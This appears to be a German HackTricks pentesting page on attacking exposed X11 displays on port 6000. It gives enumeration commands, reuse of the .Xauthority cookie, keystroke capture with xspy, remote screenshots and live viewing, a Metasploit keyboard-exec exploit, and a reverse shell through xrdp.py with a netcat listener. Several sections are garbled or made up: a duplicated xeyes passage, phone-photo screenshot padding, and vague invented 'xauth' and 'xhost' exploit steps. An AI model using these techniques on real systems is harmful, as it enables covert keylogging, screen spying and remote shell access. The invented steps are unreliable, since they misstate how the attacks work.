# 6000 - Pentesting X11
Lernen Sie AWS-Hacking von Grund auf mithtARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories** senden.
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
**Hacking Insights**\
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.
**Echtzeit-Hack-News**\
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.
**Neueste Ankündigungen**\
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert.
**Treten Sie uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!**
## Grundlegende Informationen
Das **X Window System** (X) ist ein vielseitiges Fenstersystem, das auf UNIX-basierten Betriebssystemen weit verbreitet ist. Es bietet einen Rahmen für die Erstellung von grafischen **Benutzeroberflächen (GUIs)**, wobei einzelne Programme das Design der Benutzeroberfläche übernehmen. Diese Flexibilität ermöglicht vielfältige und anpassbare Erfahrungen innerhalb der X-Umgebung.
**Standardport:** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
## Enumeration
Überprüfen Sie auf **anonyme Verbindung:**
```bash
nmap -sV --script x11-access -p
msf> use auxiliary/scanner/x11/open_x11
```
#### Lokale Enumeration
Die Datei **`.Xauthority`** im Benutzerverzeichnis wird von **X11 zur Autorisierung verwendet**. Von [**hier**](https://stackoverflow.com/a/37367518):
```bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
```
> MIT-magic-cookie-1: Generieren von 128 Bit Schlüssel ("Cookie"), speichern in \~/.Xauthority (oder wo die XAUTHORITY Umgebungsvariable hinzeigt). Der Client sendet ihn unverschlüsselt an den Server! Der Server überprüft, ob er eine Kopie dieses "Cookies" hat, und wenn ja, wird die Verbindung zugelassen. Der Schlüssel wird von DMX generiert.
{% hint style="warning" %}
Um den **Cookie zu verwenden**, sollten Sie die Umgebungsvariable setzen: **`export XAUTHORITY=/Pfad/zur/.Xauthority`**
{% endhint %}
#### Lokale Enumerationssitzung
```bash
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
```
## Verbindung überprüfen
To verify the connection, you can use the `xeyes` command. This command will open a small window with a pair of eyes that follow the mouse cursor. If the connection is successful, you should see the window with the eyes on your local machine.
```bash
$ xeyes
```
Um die Verbindung zu überprüfen, können Sie den Befehl `xeyes` verwenden. Dieser Befehl öffnet ein kleines Fenster mit einem Paar Augen, das dem Mauszeiger folgt. Wenn die Verbindung erfolgreich ist, sollten Sie das Fenster mit den Augen auf Ihrem lokalen Rechner sehen.
```bash
$ xeyes
```
```bash
xdpyinfo -display :
xwininfo -root -tree -display : #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
## Keylogging
[xspy](http://tools.kali.org/sniffingspoofing/xspy) zum Mitschneiden der Tastatureingaben.
Beispiel-Ausgabe:
```
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
## Screenshots erfassen
Screenshots sind eine nützliche Methode, um visuelle Informationen während eines Penetrationstests zu erfassen. Sie ermöglichen es Ihnen, den Zustand des Systems oder bestimmte Aktionen festzuhalten, die während des Tests durchgeführt wurden. Hier sind einige Möglichkeiten, wie Sie Screenshots während eines Penetrationstests erfassen können:
### Manuelle Methode
Die manuelle Methode erfordert, dass Sie den Bildschirm des Zielsystems fotografieren. Dies kann mit einem Mobiltelefon oder einer Kamera erfolgen. Stellen Sie sicher, dass die Bilder klar und lesbar sind, um später eine genaue Analyse durchführen zu können.
### Tastenkombinationen
Einige Betriebssysteme bieten Tastenkombinationen an, um Screenshots zu erfassen. Zum Beispiel können Sie auf Windows-Systemen die "Print Screen" (PrtScn) Taste verwenden, um den gesamten Bildschirm zu erfassen, oder "Alt + Print Screen", um nur das aktive Fenster zu erfassen. Auf Linux-Systemen können Sie die "PrtScn" Taste oder "Shift + PrtScn" verwenden, um den gesamten Bildschirm oder nur das aktive Fenster zu erfassen.
### Tools
Es gibt auch verschiedene Tools, die Ihnen helfen können, Screenshots während eines Penetrationstests zu erfassen. Einige beliebte Tools sind:
- **Scrot**: Ein Befehlszeilentool für Linux, mit dem Sie Screenshots erfassen können.
- **Snipping Tool**: Ein integriertes Tool in Windows, mit dem Sie Screenshots erstellen und bearbeiten können.
- **Greenshot**: Ein Open-Source-Tool für Windows, das erweiterte Funktionen zum Erfassen und Bearbeiten von Screenshots bietet.
Stellen Sie sicher, dass Sie die richtigen Berechtigungen haben, um Screenshots auf dem Zielsystem zu erfassen, und verwenden Sie diese Methode nur, wenn sie im Rahmen des Penetrationstests erlaubt ist.
```bash
xwd -root -screen -silent -display > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## Remote Desktop-Ansicht
Weg von: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py
```
Weg von: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
Zuerst müssen wir die ID des Fensters mit xwininfo finden.
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
Für die **Live-Anzeige** müssen wir verwenden
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
## Shell erhalten
Um eine Shell auf einem X11-Server zu erhalten, können Sie verschiedene Techniken verwenden:
### 1. X11-Forwarding
Wenn Sie bereits Zugriff auf einen Benutzer mit X11-Forwarding haben, können Sie eine Shell auf dem X11-Server erhalten, indem Sie den folgenden Befehl ausführen:
```bash
ssh -X benutzer@zieladresse
```
Dadurch wird eine SSH-Verbindung zum Zielserver hergestellt und das X11-Forwarding aktiviert. Sie können dann eine Shell auf dem X11-Server öffnen, indem Sie den Befehl `xterm` oder `xeyes` ausführen.
### 2. X11-Reverse-Forwarding
Wenn Sie Zugriff auf einen Benutzer mit X11-Reverse-Forwarding haben, können Sie eine Shell auf Ihrem lokalen System öffnen und diese mit dem X11-Server verbinden. Führen Sie dazu die folgenden Befehle aus:
```bash
ssh -R 6000:localhost:6000 benutzer@zieladresse
export DISPLAY=:0
xterm
```
Dadurch wird eine SSH-Verbindung zum Zielserver hergestellt und das X11-Reverse-Forwarding aktiviert. Sie können dann eine Shell auf Ihrem lokalen System öffnen und diese mit dem X11-Server verbinden.
### 3. X11-Client-Exploits
Wenn Sie Zugriff auf einen Benutzer mit einem anfälligen X11-Client haben, können Sie einen Exploit verwenden, um eine Shell auf dem X11-Server zu erhalten. Ein Beispiel für einen solchen Exploit ist der `xauth`-Exploit. Führen Sie die folgenden Schritte aus:
1. Überprüfen Sie, ob der X11-Client anfällig ist, indem Sie den Befehl `xauth list` ausführen.
2. Wenn der Befehl eine Ausgabe liefert, führen Sie den Befehl `xauth add` aus, um eine neue Berechtigung hinzuzufügen.
3. Führen Sie den Befehl `xterm` aus, um eine Shell auf dem X11-Server zu öffnen.
### 4. X11-Server-Exploits
Wenn Sie Zugriff auf einen Benutzer mit einem anfälligen X11-Server haben, können Sie einen Exploit verwenden, um eine Shell auf dem X11-Server zu erhalten. Ein Beispiel für einen solchen Exploit ist der `xhost`-Exploit. Führen Sie die folgenden Schritte aus:
1. Überprüfen Sie, ob der X11-Server anfällig ist, indem Sie den Befehl `xhost` ausführen.
2. Wenn der Befehl eine Ausgabe liefert, führen Sie den Befehl `xterm` aus, um eine Shell auf dem X11-Server zu öffnen.
### 5. X11-Server-Backdoor
Wenn Sie Zugriff auf den X11-Server haben und dieser eine Backdoor enthält, können Sie eine Shell auf dem X11-Server erhalten, indem Sie die Backdoor verwenden. Die genauen Schritte hängen von der Art der Backdoor ab und können variieren.
### 6. X11-Server-Misconfiguration
Wenn der X11-Server falsch konfiguriert ist, können Sie möglicherweise eine Shell auf dem X11-Server erhalten, indem Sie die Konfiguration ändern. Die genauen Schritte hängen von der Art der Konfiguration ab und können variieren.
### 7. X11-Server-Exploits über Netzwerk
Wenn Sie Zugriff auf das Netzwerk haben, auf dem der X11-Server läuft, können Sie einen Exploit verwenden, um eine Shell auf dem X11-Server zu erhalten. Ein Beispiel für einen solchen Exploit ist der `Xorg`-Exploit. Führen Sie die folgenden Schritte aus:
1. Überprüfen Sie, ob der X11-Server anfällig ist, indem Sie den Exploit-Code ausführen.
2. Wenn der Exploit erfolgreich ist, erhalten Sie eine Shell auf dem X11-Server.
### 8. X11-Server-Exploits über lokale Dateien
Wenn Sie Zugriff auf das Dateisystem des X11-Servers haben, können Sie einen Exploit verwenden, um eine Shell auf dem X11-Server zu erhalten. Ein Beispiel für einen solchen Exploit ist der `Xorg`-Exploit. Führen Sie die folgenden Schritte aus:
1. Überprüfen Sie, ob der X11-Server anfällig ist, indem Sie den Exploit-Code ausführen.
2. Wenn der Exploit erfolgreich ist, erhalten Sie eine Shell auf dem X11-Server.
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
Andere Möglichkeit:
**Reverse Shell:** Xrdp ermöglicht auch das Erstellen einer Reverse Shell über Netcat. Geben Sie den folgenden Befehl ein:
```bash
./xrdp.py \ –no-disp
```
In der Benutzeroberfläche können Sie die **R-Shell-Option** sehen.
Starten Sie dann einen **Netcat-Listener** in Ihrem lokalen System auf Port 5555.
```bash
nc -lvp 5555
```
Dann geben Sie Ihre IP-Adresse und den Port in die Option **R-Shell** ein und klicken Sie auf **R-Shell**, um eine Shell zu erhalten.
## Referenzen
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
## Shodan
* `port:6000 x11`
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
**Hacking Insights**\
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.
**Echtzeit-Hack-News**\
Bleiben Sie mit schnellen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.
**Neueste Ankündigungen**\
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattform-Updates informiert.
**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!
Lernen Sie AWS-Hacking von Null auf Held mithtARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.